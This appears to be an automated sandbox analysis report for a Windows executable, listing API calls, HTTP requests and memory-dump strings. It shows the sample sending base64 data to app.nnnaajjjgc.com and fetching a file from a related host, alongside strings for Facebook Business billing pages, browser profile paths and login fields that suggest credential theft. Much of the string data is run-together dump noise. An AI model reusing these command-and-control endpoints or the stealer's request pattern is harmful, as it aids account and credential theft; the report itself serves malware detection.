file "C:\bcrypt.dll" ".exe" trying to access non-existent file "C:\DPAPI.DLL" ".exe" trying to access non-existent file "C:\WINNLSRES.DLL" ".exe" trying to access non-existent file "C:\winnlsres.dll"43:T436,".exe" called "WinHttpSendRequest" with parameters {"hRequest": "59d1990" "dwHeadersLength": "0" "dwOptionalLength": "0" "dwTotalLength": "0" "dwContext": "0"} ".exe" called "WinHttpSendRequest" with parameters {"hRequest": "59d1990" "dwHeadersLength": "0" "lpOptional": "aG1ZMlU1TmpOaE5qSTFaak01T0RFaUxDQWlkV2xrSWpvZ0lqSXlNek1pTENBaWRXNWZjSGRrSWpvZ0lleUpwYzJsdWMzUmhiR3dpT2lBaU1DSXNJQ0p0WVdNaU9pQWlOalk0T0RNd01HSTRZVFZrTUdRd1pEaUo5" "dwOptionalLength": "160" "dwTotalLength": "160" "dwContext": "0"} ".exe" called "WinHttpSendRequest" with parameters {"hRequest": "5d9fa00" "dwHeadersLength": "0" "dwOptionalLength": "0" "dwTotalLength": "0" "dwContext": "0"} ".exe" called "WinHttpSendRequest" with parameters {"hRequest": "5d9fa00" "dwHeadersLength": "0" "lpOptional": "aG1ZMlU1TmpOaE5qSTFaak01T0RFaUxDQWlkV2xrSWpvZ0lqSXlNek1pTENBaWRXNWZjSGRrSWpvZ0lleUpwYzJsdWMzUmhiR3dpT2lBaU1DSXNJQ0p0WVdNaU9pQWlOalk0T0RNd01HSTRZVFZrTUdRd1pEaUo5" "dwOptionalLength": "160" "dwTotalLength": "160" "dwContext": "0"}44:T47f,Found http requests in header "GET /check/safe" Found http requests in header "POST /check/?sid=6798&key=2945547785540bbe6dd80fa5ddeae823" Found http requests in header "POST /check/?sid=6800&key=09c69ca9876a2fea44b9b3f677f028b3" Found http requests in header "POST /check/?sid=6802&key=9d600d3320e92fb9b0d5cf2b4b137899" Found http requests in header "POST /check/?sid=6804&key=864d8f8c056e0d6480708241e6c474db" Found http requests in header "POST /check/?sid=6806&key=0a0310dec21f9289602cd63dddecae9a" Found http requests in header "POST /check/?sid=6808&key=37d6f3658bb0dcfce18d9e0000c3ab81" Found http requests in header "POST /check/?sid=6810&key=a8c4b2352c4addc278c4ba3d7629e1d9" Found http requests in header "POST /check/?sid=6812&key=82cfa653127d8a1303156eede82397fe" Found http requests in header "POST /check/?sid=6818&key=12c03c2d5c09fdf856ea4422fa49a666" Found http requests in header "POST /check/?sid=6820&key=ad03d4734d6558096de5502cf421be59" Found http requests in header "POST /check/?sid=6822&key=c3c52fc8561fa0a739971baa688dd416" Found http requests in header "POST /check/?sid=6824&key=03fb39a6a77b355a229038c17b1d2843"45:T73a,Found reference to API "WinHttpConnect" (Indicator: "WinHttpConnect"; Source: "00000000-00006900-00000C26-34597246") Found reference to API "WinHttpOpenRequest" (Indicator: "HttpOpenRequest"; Source: "00000000-00006900-00000C26-34597389") Found reference to API "WinHttpOpenRequest" (Indicator: "WinHttpOpen"; Source: "00000000-00006900-00000C26-34597389") Found reference to API "WinHttpOpenRequest" (Indicator: "WinHttpOpenRequest"; Source: "00000000-00006900-00000C26-34597389") Found reference to API "WinHttpReadData" (Indicator: "WinHttpReadData"; Source: "00000000-00006900-00000C26-34597494") Found reference to API "WinHttpQueryHeaders" (Indicator: "WinHttpQueryHeaders"; Source: "00000000-00006900-00000C26-34597533") Found reference to API "WinHttpOpen" (Indicator: "WinHttpOpen"; Source: "00000000-00006900-00000C26-34597673") Found reference to API "WinHttpSendRequest" (Indicator: "HttpSendRequest"; Source: "00000000-00006900-00000C26-34597727") Found reference to API "WinHttpSendRequest" (Indicator: "WinHttpSendRequest"; Source: "00000000-00006900-00000C26-34597727") Found reference to API "InternetOpenA" (Indicator: "InternetOpen"; Source: "00000000-00006900.00000000.68879.6D1E6000.00000040.mdmp, 00000000-00006900.00000001.70800.6D1E6000.00000040.mdmp, 00000000-00006900.00000002.72721.6D1E6000.00000040.mdmp") Found reference to API "InternetOpenUrlA" (Indicator: "InternetOpen"; Source: "00000000-00006900.00000000.68879.6D1E6000.00000040.mdmp, 00000000-00006900.00000001.70800.6D1E6000.00000040.mdmp, 00000000-00006900.00000002.72721.6D1E6000.00000040.mdmp") Found reference to API "InternetReadFile" (Indicator: "InternetReadFile"; Source: "00000000-00006900.00000000.68879.6D1E6000.00000040.mdmp, 00000000-00006900.00000001.70800.6D1E6000.00000040.mdmp, 00000000-00006900.00000002.72721.6D1E6000.00000040.mdmp")46:T19c3,Pattern match: "http://schemas.microsoft.com/SMI/2005/WindowsSettings" Pattern match: "www.clarity.msCLIDv10" Heuristic match: "app.nnnaajjjgc.com" Heuristic match: "GET /check/safe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36Host: app.nnnaajjjgc.com" Heuristic match: "z.nnnaajjjgc.com" Pattern match: "z.nnnaajjjgc.com/sts/imagd.jpg" Heuristic match: "nnnaajjjgc.com" Heuristic match: ".nnnaajjjgc.com" Heuristic match: "jjgc.com" Heuristic match: "nnaajjjgc.com" Heuristic match: "m32\z.nnnaajjjgc.com" Heuristic match: "ntrust.net" Pattern match: "http://www.w3.org/2001/XMLSchema-instance" Pattern match: "http://schemas.xmlsoap.org/ws/2004/09/policy" Pattern match: "https://z.nnnaajjjgc.com/sts/imagd.jpg" Pattern match: "https://www.alphassl.com/repository/03" Pattern match: "http://crl.globalsign.net/root.crl0=" Pattern match: "http://ocsp.globalsign.com/rootr10" Pattern match: "http://crl.comodoca.com/COMODORSACertificationAuthority.crl0q" Pattern match: "http://crt.comodoca.com/COMODORSAAddTrustCA.crt0$" Pattern match: "http://ocsp.comodoca.com0" Pattern match: "http://crl.usertrust.com/USERTrustRSACertificationAuthority.crl0v" Pattern match: "crt.usertrust.com/USERTrustRSAAddTrustCA.crt0%" Pattern match: "http://ocsp.usertrust.com0" Pattern match: "http://certs.godaddy.com/repository/1301" Pattern match: "http://ocsp.godaddy.com/05" Pattern match: "http://crl.godaddy.com/gdroot-g2.crl0F" Pattern match: "https://certs.godaddy.com/repository/0" Pattern match: "http://ocsp.thawte.com0" Pattern match: "https://www.thawte.com/cps07" Pattern match: "http://crl.thawte.com/ThawtePCA-G3.crl0" Pattern match: "http://g1.symcb.com/crls/gtglobal.crl0/" Pattern match: "http://g2.symcb.com0L" Pattern match: "http://www.geotrust.com/resources/cps0" Pattern match: "www.digicert.com1+0" Pattern match: "www.digicert.com1/0-" Pattern match: "http://ocsp.digicert.com0K" Pattern match: "http://crl4.digicert.com/DigiCertHighAssuranceEVRootCA.crl0=" Pattern match: "https://www.digicert.com/CPS0" Pattern match: "https://www.globalsign.com/repository/03" Pattern match: "http://s2.symcb.com0" Pattern match: "http://www.symauth.com/cps0" Pattern match: "http://www.symauth.com/rpa00" Pattern match: "http://s1.symcb.com/pca3-g5.crl0" Pattern match: "www.digicert.com1" Pattern match: "http://crl3.digicert.com/DigiCertHighAssuranceEVRootCA.crl0=" Pattern match: "crl.usertrust.com/AddTrustExternalCARoot.crl05" Pattern match: "crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl0^" Pattern match: "www.microsoft.com/pki/certs/MicRooCerAut2011_2011_03_22.crt0" Pattern match: "http://s2.symcb.com0k" Pattern match: "http://www.symauth.com/rpa0" Heuristic match: "ft.cn" Pattern match: "www.verisign.com/CPS" Pattern match: "https://www.verisign.com/CPS04" Pattern match: "http://crl.verisign.com/pca3.crl0" Pattern match: "www.digicert.com1$0" Pattern match: "www.microsoft.com/pkiops/Docs/Repository.htm" Pattern match: "http://logo.verisign.com/vslogo.gif0" Pattern match: "http://cert.startcom.org/sfsca-crl.crl0+" Pattern match: "http://crl.startcom.org/sfsca-crl.crl0" Pattern match: "http://cert.startcom.org/policy.pdf05" Pattern match: "http://cert.startcom.org/intermediate.pdf0" Pattern match: "http://cert.startcom.org/policy.pdf0" Pattern match: "7www.entrust.net/CPS_2048" Pattern match: "http://www.certplus.com/CRL/class2.crl0" Pattern match: "http://crl.globalsign.net/root-r2.crl0" Pattern match: "http://crl.glo" Pattern match: "www.entrust.net/legal-terms1907" Pattern match: "http://crl.securetrust.com/STCA.crl0" Pattern match: "http://crl" Pattern match: "0www.entrust.net/CPS" Pattern match: "http://repository.swisssign.com/0" Pattern match: "crl.comodoca.com/AAACertificateServices.crl06" Pattern match: "crl.comodo.net/AAACertificateServices.crl0" Pattern match: "www.digicert.com1!0" Pattern match: "crl.microsoft.com/pki/crl/products/MicRooCerAut_2010-06-23.crl0Z" Pattern match: "http://www.microsoft.com/pki/certs/MicRooCerAut_2010-06-23.crt07" Heuristic match: "vs.cr" Pattern match: "http://www.microsoft.com0" Pattern match: "crl.microsoft.com/pki/crl/products/MicCerLisCA2011_2011-03-29.crl0" Pattern match: "www.microsoft.com/pki/certs/MicCerLisCA2011_2011-03-29.crt0" Heuristic match: "Host: z.nnnaajjjgc.com" Pattern match: "www.insidersurveys.windows.com06" Pattern match: "www.microsoft.com/pki/crl/products/MicCerTruLisPCA_2009-04-02.crl" Pattern match: "crl.microsoft.com/pki/crl/products/MicCerTruLisPCA_2009-04-02.crl0" Pattern match: "www.microsoft.com/pki/certs/MicCerTruLisPCA_2009-04-02.crt0" Pattern match: "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0T" Pattern match: "www.microsoft.com/pki/certs/MicrosoftRootCert.crt0" Pattern match: "http://microsoft.com0" Heuristic match: "facebook.com" Heuristic match: "k.com" Heuristic match: ".facebook.com" Heuristic match: "gc.com" Heuristic match: ".c.bing.com" Heuristic match: ".bing.com" Heuristic match: ".c.msn.com" Heuristic match: ".scorecardresearch.com" Heuristic match: "olxpakistan.os.tc" Pattern match: "www.facebook.com" Pattern match: "www.axisbank.com" Pattern match: "www.elimparcial.com" Pattern match: "www.instagram.com" Pattern match: "www.ecuavisa.com" Pattern match: "www.messenger.com" Pattern match: "www.sammobile.com" Heuristic match: "uz.sputniknews.ru" Pattern match: "www.estadao.com.br" Pattern match: "www.povarenok.ru" Heuristic match: ".ebay.com" Heuristic match: "ntp.msn.com" Heuristic match: ".notepad-plus-plus.org" Heuristic match: ".ups.com" Heuristic match: ".msn.com" Heuristic match: "edgestoreweb.edgebrowser.microsoft-staging-falcon.io" Heuristic match: "edgestoreweb.edgebrowser.microsoft-testing-falcon.io" Pattern match: "https://www.facebook.com/" Pattern match: "https://www.facebook.com/login/device-based/login/" Pattern match: "https://adsmanager.facebook.com/ads/manager/accounts" Pattern match: "https://business.facebook.com/api/graphql/?lll=ppp" Pattern match: "https://business.facebook.com/select" Pattern match: "https://www.facebook.com/pages/?category=your_pages&ref=bookmarks" Heuristic match: "Host: business.facebook.com" Heuristic match: "Host: adsmanager.facebook.com" Pattern match: "https://business.facebook.com" Heuristic match: "ok.com" Pattern match: "https://www.f" Pattern match: "www.faceb" Heuristic match: "ook.com" Heuristic match: "f=.je"47:T66d1,Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00006900.00000000.68879.03400000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crlhhttp://crl.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccertrulispca_2009-04-02.crt0+" - Source: "00000000-00006900.00000000.68879.05980000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0th0f0d8http://www.microsoft.com/pki/certs/microsoftrootcert.crt0!:ctxcg" - Source: "00000000-00006900.00000000.68879.05980000.00000004.mdmp") Found URL "http://microsoft.com0k" - Source: "00000000-00006900.00000000.68879.05980000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0t<" - Source: "00000000-00006900.00000000.68879.05980000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00006900.00000000.68879.05980000.00000004.mdmp") Found URL "http://microsoft.com0" - Source: "00000000-00006900.00000000.68879.05980000.00000004.mdmp") Found URL "https://z.nnnaajjjgc.com/sts/imagd.jpgavauwvshhc@acenqv[_" - Source: "00000000-00006900.00000001.70800.05070000.00000004.mdmp") Found URL "https://business.facebook.comsec-fetch-site:" - Source: "00000000-00006900.00000001.70800.05070000.00000004.mdmp") Found URL "https://www.fame-sitetch-site:" - Source: "00000000-00006900.00000001.70800.05070000.00000004.mdmp") Found URL "https://business.facebook.com/billing_hub/payment_settings/?asset_id=?asset_id" - Source: "00000000-00006900.00000001.70800.05070000.00000004.mdmp") Found URL "http://app.nnnaajjjgc.com/check/safe" - Source: "00000000-00006900.00000001.70800.05070000.00000004.mdmp") Found URL "http://app.nnnaajjjgc.com/check/?sid=" - Source: "00000000-00006900.00000001.70800.05070000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crlhhttp://crl.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccertrulispca_2009-04-02.crt0+" - Source: "00000000-00006900.00000001.70800.05980000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0th0f0d8http://www.microsoft.com/pki/certs/microsoftrootcert.crt0!:ctxcg" - Source: "00000000-00006900.00000001.70800.05980000.00000004.mdmp") Found URL "http://microsoft.com0k" - Source: "00000000-00006900.00000001.70800.05980000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0t<" - Source: "00000000-00006900.00000001.70800.05980000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00006900.00000001.70800.05980000.00000004.mdmp") Found URL "http://microsoft.com0" - Source: "00000000-00006900.00000001.70800.05980000.00000004.mdmp") Found URL "http://app.nnnaajjjgc.com/check/?sid=6864&key=7ca0aef6132fcc114ae417bad83c9adamiikbke2aaa101sinstallloginsohortientdatn_pwdcheck/ohortnameloginsn_pwdand_strohortname2aaa101ohorthttp://app.nnnaajjjgc.com/check/?sid=6864&key=7ca0aef6132fcc114ae417bad83c9adans_seedns_safeomain763130c6a0d19e1da0668a7da633271b5cdab787d0d42dc311b7833fe6e25a37eeeb24a98c8c412593f714un_pwd8d243ba44xpiratihecurealuens_seed2aaa101ns_failttponlyamesiteisinstall7631305c75b60dadb7794b1dfee86a44323061845c056dfbd11dc3bf62ab7114088693f959b5a86bisinstallun_pwdecurealuec:\users\hapubws\appdata\local\microsoft\edge\user" - Source: "00000000-00006900.00000001.70800.059CC000.00000004.mdmp") Found URL "http://app.nnnaajjjgc.com/check/?sid=6864&key=hrbtplbmmhnabegcabfbcejohgjpkamkddhnewidevamcv_036784bd57a8bb277f000101%40adobeorg89%3gj,ih@84" - Source: "00000000-00006900.00000001.70800.059CC000.00000004.mdmp") Found URL "http://app.nnnaajjjgc.com/check/safe2233amcv_036784bd57a8bb277f000101%40adobeorg8vdolsss3test.comsn.com/*/playefixedeefixedeefixederefixedemeusic.amazon.deshortsefixedekidsefixedeetflix.comefixedeazon.connectweefixedeoutube.ndationptoutptinlockazon.cousic.amazon.caefixedeazon.coefixeder.youtube.comptinv.youtube.comndationptoutmdn.netefixedeptoutity3d.cefixedeusic.amazon.inoutube.comlockazon.coefixedelockusic.amazon.esusic.amazon.frefixedeusic.amazon.itefixedeopenidconnectweb.azurewebsites.netling.comam1cgtkaiku7/n8ne0adrcou6d2xcilyt09avsaqkhcxpeerjtqrrkfcevgs8a2hwtf//z+p9i0lnu84jodn/l0weladciae6nowqsvcv2wklwfgllgn1s5yz0ua3sqambpoyctjdiqij5lwpnnrg/nioeqwwjclix0xnyeh5gq8leko8itjjjj7cphidrnpyutyblxucvzema6hpjl8rykl45e5aikyjx7owgq2mn1swelr+xsz7xekxsfs5tf5imfmm/cpvv6jhbfsbatmb/met2iqnkjyvyigi61pjf9x8gcxqgvjngwegxh4dwbzreiifusba5ieumvh+eksrchuid5lsmswjanpozarobx+9m8/srchdrgw+3nmihlf6gsgi3r0nk8hakasaqrs5z8ibzs3urcnjewjuyf3gcgtggvhrn8yvvj74gj8wp+cs0g/eyaqm0gp+7jiaygqz0ohnlay2jes8gnmemuidr9zaozfdyq9odghq5yuxa8adfjtmz7vk0ghoxptkgcsol3r8dqgu0tqy5znwbakdp+loekhx8mp/leuqemfcora5o1ekz7gkyc4m2ig2k8a20ebfcs1avwkbkp" - Source: "00000000-00006900.00000001.70800.059CC000.00000004.mdmp") Found URL "http://app.nnnaajjjgc.com/check/safeplaintexturlsonlyhttp://app.nnnaajjjgc.com/check/safelmem9s9qystxutgjhxy8unzoviqmsonllmemlmemlmemlmemexposeprefixedemechromium.github.ioexposeprefixedemeexposeprefixedemeoctanetestapp.herokuapp.comfiles.unity3d.commozilla.github.ioexposeprefixedemeexposeprefixedemeexposeprefixedemesubdomain_excludemediafoundationoptinmicrosoftapplicationstelemetrydeviceidmusic.amazon.comexposeprefixedemeexposeprefixedememusic.amazon.co.jpexposeprefixedemeexposeprefixedememicrosoftapplicationstelemetrydeviceidmedia_foundation_overridestudio.youtube.comexposeprefixedemenecromanthus.comweb.basemark.comoctane.webmarks.infoexposeprefixedemeexposeprefixedememusic.amazon.com.brexposeprefixedememusic.amazon.co.ukwww.caisse-epargne.frstorage.live.comgooglesyndication.comdefenderrazor.comtechcommunity.microsoft.commediafoundationoptoutsearch.yahoo.comerrideprism_explorer_overrideweb.whatsapp.comstaging-bing-int.*prismexplorertypeoptinopenrailwaymap.orgcreate.microsoft.comfree-freecell-solitaire.comprismexplorertypeoptoutazurewebsites.netofficeapps.live.comsearch.naver.comimg-s-msn-com.akamaized.netwww.languageacademy.com.auwrc.t-mobile.comgo.canaldigital.nosearch.norton.comtextpredictionoptinuser_agent_overridecom.auvirtualvisitlogin.partners.orgtext_prediction_overridecarelogin.bryantelemedicine.comgo.canaldigital.figo.canaldigital.setv.canaldigital.dkmyslate.sixphrase.comsmallbusiness.yahoo.comtextpredictionoptoutglive2.gaodun.comgo.canaldigital.dkblog.esuteru.compulse.genesisworld.comchrome.google.comelearning.seabank.com.vnelearning.evn.com.vngsq.minornet.comtelehealthportal.uofuhealth.orgportal.centurylink.comauthoring.amirsys.comapp.fields.corteva.comproviderstc.hs.utah.govlth.orgrcou6d2xjymxwoxmd1cilyt0u9avsaqtkhcxpewterjtqrvusrlocgs8a2hp+wtf//zs+p9i0lrsrchddn/l0wliaeladoiae6nonwqsvcvi2wklwfhzgllgn1ks5yz0uja3sqameievbpoydctjdiqgscij5lwfnrg/a74nnioe" - Source: "00000000-00006900.00000001.70800.059CC000.00000004.mdmp") Found URL "http://app.nnnaajjjgc.com/app.nnnaajjjgc.comnnnaajjjgc.chttp://app.nnnaajjjgc.com/check/safeapp.nnnaajjjgc.com/check/safe6864&key=7ca0aef6132fcc114ae417bad83c9adaring.comyomain" - Source: "00000000-00006900.00000001.70800.05A3D000.00000004.mdmp") Found URL "https://www.facebook.com/https://www.facebook.com/login/device-based/login/https://adsmanager.facebook.com/ads/manager/accountshttps://business.facebook.com/api/graphql/?lll=ppphttps://business.facebook.com/selecthttps://www.facebook.com/pages/?category=your_pages&ref=bookmarks!$).056;>acenqv[_" - Source: "00000000-00006900.00000001.70800.05A80000.00000040.mdmp") Found URL "https://business.facebook.comsec-fetch-site:" - Source: "00000000-00006900.00000001.70800.05A80000.00000040.mdmp") Found URL "https://www.fame-sitetch-site:" - Source: "00000000-00006900.00000001.70800.05A80000.00000040.mdmp") Found URL "https://business.facebook.com/billing_hub/payment_settings/?asset_id=?asset_id" - Source: "00000000-00006900.00000001.70800.05A80000.00000040.mdmp") Found URL "http://app.nnnaajjjgc.com/check/safe" - Source: "00000000-00006900.00000001.70800.05A80000.00000040.mdmp") Found URL "http://app.nnnaajjjgc.com/check/?sid=" - Source: "00000000-00006900.00000001.70800.05A80000.00000040.mdmp") Found URL "https://www.facebook.com/https://www.facebook.com/login/device-based/login/https://adsmanager.facebook.com/ads/manager/accountshttps://business.facebook.com/api/graphql/?lll=ppphttps://business.facebook.com/selecthttps://www.facebook.com/pages/?category=your_pages&ref=bookmarks!$).056;>acenqv[_" - Source: "00000000-00006900.00000001.70800.05C00000.00000040.mdmp") Found URL "https://business.facebook.comsec-fetch-site:" - Source: "00000000-00006900.00000001.70800.05C00000.00000040.mdmp") Found URL "https://www.fame-sitetch-site:" - Source: "00000000-00006900.00000001.70800.05C00000.00000040.mdmp") Found URL "https://business.facebook.com/billing_hub/payment_settings/?asset_id=?asset_id" - Source: "00000000-00006900.00000001.70800.05C00000.00000040.mdmp") Found URL "http://app.nnnaajjjgc.com/check/safe" - Source: "00000000-00006900.00000001.70800.05C00000.00000040.mdmp") Found URL "http://app.nnnaajjjgc.com/check/?sid=" - Source: "00000000-00006900.00000001.70800.05C00000.00000040.mdmp") Found URL "http://app.nnnaajjjgc.com/check/safelocal" - Source: "00000000-00006900.00000001.70800.05D97000.00000004.mdmp") Found URL "https://z.nnnaajjjgc.com/sts/imagd.jpgavauwvshhc@acenqv[_" - Source: "00000000-00006900.00000002.72721.05070000.00000004.mdmp") Found URL "https://business.facebook.comsec-fetch-site:" - Source: "00000000-00006900.00000002.72721.05070000.00000004.mdmp") Found URL "https://www.fame-sitetch-site:" - Source: "00000000-00006900.00000002.72721.05070000.00000004.mdmp") Found URL "https://business.facebook.com/billing_hub/payment_settings/?asset_id=?asset_id" - Source: "00000000-00006900.00000002.72721.05070000.00000004.mdmp") Found URL "http://app.nnnaajjjgc.com/check/safe" - Source: "00000000-00006900.00000002.72721.05070000.00000004.mdmp") Found URL "http://app.nnnaajjjgc.com/check/?sid=" - Source: "00000000-00006900.00000002.72721.05070000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crlhhttp://crl.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccertrulispca_2009-04-02.crt0+" - Source: "00000000-00006900.00000002.72721.05980000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0th0f0d8http://www.microsoft.com/pki/certs/microsoftrootcert.crt0!:ctxcg" - Source: "00000000-00006900.00000002.72721.05980000.00000004.mdmp") Found URL "http://microsoft.com0k" - Source: "00000000-00006900.00000002.72721.05980000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0t<" - Source: "00000000-00006900.00000002.72721.05980000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00006900.00000002.72721.05980000.00000004.mdmp") Found URL "http://microsoft.com0" - Source: "00000000-00006900.00000002.72721.05980000.00000004.mdmp") Found URL "http://app.nnnaajjjgc.com/check/safehttp://app.nnnaajjjgc.com/check/safecheck/?sid=6956&key=ee9db63c75ae24759671778f5895b50echeck/?sid=6958&key=59fc7129d2e85bccf2aeb863da3bf23dpplied_policyomainosoftonline.de" - Source: "00000000-00006900.00000002.72721.059CC000.00000004.mdmp") Found URL "http://app.nnnaajjjgc.com/check/safeomainomainpplied_policyomainomainpplied_policypplied_policyomainpplied_policypplied_policypplied_policypplied_policypplied_policypplied_policyomainomainomainpplied_policypplied_policypplied_policyomainpplied_policyomainomainpplied_policyomainomainpplied_policyomainpplied_policypplied_policypplied_policyomainpplied_policypplied_policyomainomainomainomainomainomainomainomainomainpplied_policyomainpplied_policypplied_policyomainpplied_policyomainpplied_policyomainpplied_policypplied_policypplied_policyomainomainomainomainomainomainomainpplied_policyomainpplied_policypplied_policypplied_policyomainomainpplied_policyomainpplied_policypplied_policypplied_policypplied_policypplied_policyomainomainomainpplied_policyomainpplied_policyomainpplied_policypplied_policypplied_policyomainomainomainpplied_policyomainpplied_policypplied_policyomainomainomainpplied_policypplied_policyomainpplied_policyomainpplied_policypplied_policyomainomainpplied_policypplied_policyomainpplied_policyomainpplied_policyomainpplied_policyomainomainomainpplied_policyomainomainpplied_policypplied_policyomainomainomainpplied_policypplied_policyomainpplied_policypplied_policyloginseasonomainpplied_policyomaineason7631306b818c77d6fadfa1cb591e1c480b343b2d2569b3ca36725203ffaf48a8d991cb6bomainpplied_policyomainath_matchomainloginspplied_policyomainpplied_policypplied_policypplied_policypplied_policyomainomainomainomainomainomainalueomainaluepplied_policyalue763130c6a0d19e1da0668a7da633271b5cdab787d0d42dc311b7833fe6e25a37eeeb24a98c8c412593f714rl,usepplied_policyloginspplied_policypplied_policyomainocal\mpplied_policyomainpplied_policyomainpplied_policyomainocal\mpplied_policyloginspplications7631305c75b60dadb7794b1dfee86a44323061845c056dfbd11dc3bf62ab7114088693f959b5a86be86a44omainomainpplied_policyomainata,dipplied_policypplied_policypplied_policypplied_policypplied_policyloginsloginspplied_policypplied_policyomainomainomainpplied_policypplied_policypplied_policypplied_policyomainpplied_policyomainpplied_policyomainomainomainomainpplied_policypplied_policycheck/omainpplied_policypplied_policypplied_policypplied_policyomainpplied_policypplied_policyomainpplied_policyomainpplied_policypplied_policypplied_policyomainomaincheck/pplied_policyomainomainomainalgo_stpplied_policyomainomainomaincheck/pplied_policyomainomaincheck/omainpplied_policypplied_policyomainomainomainpplied_policypplied_policypplied_policyocal\momainomainomainrce_filomainpplied_policypplied_policyocal\mpplied_policycheck/omainpplied_policypplied_policyomainomainpplied_policypplied_policypplied_policyomainomainpplied_policypplied_policypplied_policypplied_policypplied_policyomainomainpplied_policyomainomainpplied_policypplied_policypplied_policyomainnstalldateomainomainomainpplied_policyomainomainpplied_policypplied_policyomainomainpplied_policypplied_policyomainomainomainomainpplied_policyomainomainpplied_policypplied_policyomainomainpplied_policypplied_policyomainpplied_policypplied_policypplied_policypplied_policypplied_policypplied_policyomainomainpplied_policypplied_policypplied_policypplied_policyomainpplied_policyomainpplied_policypplied_policypplied_policypplied_policyomainomainomainomainomainomainpplied_policyomainpplied_policyomainomainomainpplied_policypplied_policyn.gov.iacher.cdcerts.browserhromeuahromeuaozikaza.comhromeuahromeuahromeuaqxiu.comhromeuahromeuahromeuahromeuaguokao.comhromeuaroove.cmov.plhromeuadufe.com.cnhromeuairebonuhromeuahx.e-carms.cahromeuaaq.ne.jphromeuaidkids.nethromeuab.99onez.comhu.edu.cnhromeuaazaplan.comnfi.comscend.chromeuahromeuahromeuaeetcode-cn.comhromeuaonotoverridehromeuafs.tokyohromeuaayahii.comhromeuahromeuahromeual.ins-chromeuaebc.nethromeuatu.ityxb.comormanceandcliekc.co.jphromeuacca.aiivebacks.comhromeuag.acadeer-promekrutmehromeuahromeua9lms.comhromeuaking.aud.gov.aveshop.uihuayun.comhromeuacourse163.orghromeuahool.cohromeuahromeuascout.comcuvue.comcker.cohromeuacourses.fcaperformanceinstitute.comfcaperfianshu.comhromeuaetsoins.comhromeuahromeuahromeualau.edu.cnhromeuaid.belgium.behromeuatalia.chromeuawu.ac.jhromeuahromeuandacadehromeuahromeualema.tvhromeuahromeuacademy.hromeuahromeuaoissnap.comeiliyou.comhromeuahromeuaercasinhromeuahromeuan.nosdnhromeuajmd-med.comtch.co.nglife.eixunyun.cnhromeuaver.jphromeuahromeuahromeuaitan.com.cltt.orghromeua.samsun-aor.unhromeuaooking.comhromeuaest.xtuhromeuass.offchromeuahromeualocom.cohromeuahromeuanwlzb.comonotoverrideeb.autocad.comhromeuarocess.hromeuahromeuahromeualay.nuuvem.comhisdt.el.or.kr.xiaohesu.edu.cnhromeuahromeuahromeuahromeuapp.wom.co/funcionalidadrecaudo/paymentbill/.sanhromeuaalidadrhromeuahromeuahromeuaalth.cohromeuaatch.sling.tvhromeuahere.cosia.org.cnail.nate.comhromeuaensus.govourt.gotrics.chromeuahromeuahromeuanglishbuddy.krs-promouz.tcd.gov.twhromeuahromeuaowgame.jpiro.comgxjyzy.von.com.brmeritrahromeuab.zcjb.com.cndge99abii.comhromeuarompticrosoft" - Source: "00000000-00006900.00000002.72721.059CC000.00000004.mdmp") Found URL "http://app.nnnaajjjgc.com/check/safelkkdlcloifjinapabfonaibjijloebfbewidevcontent-typeapplication/x-www-form-urlencodedrf@0.42amcv_036784bd57a8bb277f000101%40adobeorgy_counhrbthrbtrf@0.89cezgnrf@0.88amcv_036784bd57a8bb277f000101%40adobeorghrbt2aaa41?sid=6958&key=59fc7129d2e85bccf2aeb863da3bf23damcv_036784bd57a8bb277f000101%40adobeorg2aaa41tion_upload_status,possible_usernammicrosoftapplicationstelemetrydeviceid1400000hat.google.comvariations_failed_to_fetch_seed_streakalsefacebook.comshould_show_disable_startup_coachmarkk.com8123525amcv_036784bd57a8bb277f000101%40adobeorg2233http://app.nnnaajjjgc.com/check/safeamcv_036784bd57a8bb277f000101%40adobeorg8vdolsusic.amazon.esptinr.youtube.comusic.amazon.inptoutefixedeefixedeefixedeazon.cosn.com/*/playazon.coetflix.comefixedeling.comefixedeefixedeefixedeefixedeshortsefixedess3test.comefixedeazon.cousic.amazon.deebmarksusic.amazon.itefixedeefixedeopenidconnectweb.azurewebsites.netkidslockusic.amazon.calo